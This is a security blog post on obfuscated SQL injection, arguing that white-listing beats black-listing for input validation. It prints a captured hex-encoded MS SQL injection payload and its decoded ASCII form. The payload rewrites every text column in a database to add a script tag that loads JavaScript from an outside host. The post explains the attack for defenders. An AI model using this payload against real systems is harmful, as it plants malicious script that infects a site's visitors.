SQL Injection Obfuscation as a Way of Subverting Input Validation.

In my previous post “The Root of All Compromise” input validation was touched on briefly, with links to further information on the subject. In this post I will provide further examples of why using input validation with white-listing is so critical.
SQL Injection attacks on the Internet have become commonplace and have matured significantly. There are now freely available tools to automatically perform these types of attacks. One of the primary methods used to subvert input validation, is to obfuscate the input by encoding it. Many times the attack is obfuscated by encoding it multiple times, using a different encoding each time. By design, webservers can understand input in many different representations, including Unicode, octal, and hexadecimal to name a few. Along with the webserver’s ability to handle multiple encodings, encoding methods and functions native to SQL are also used. It is the combinations of these various encoding methods that are used to obfuscate the attack.
Obfuscated SQL injection attack:
reqid=135605′;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006D00690064006100680065006E0061002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);–
Converted to ASCII, this attack becomes:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id
and a.xtype=’u’
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT
FROM Table_Cursor
INTO @T,@C WHILE(@@FETCH_STATUS=0)

BEGIN exec(‘update [‘+@T+’] set [‘+@C+’]=rtrim(convert(varchar,[‘+@C+’]))+”<script src=http://www.xxxxxxxxx.com/x.js></script>”’)

FETCH NEXT FROM Table_Cursor INTO @T,@C

END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
From this simple example, it is easy to recognize, that constructing a black-list of all the various combinations, and their possible encodings, becomes an unmanageable task. Inversely, a simple white-list that only allows upper-case, lower-case, and numerals could have easily prevented this attack. As a rule of thumb, allowing the use of punctuation marks and special characters should be avoided at all costs.

To help understand these attacks, I have written a tool that converts the obfuscated logs into ASCII to make them human readable. convert.py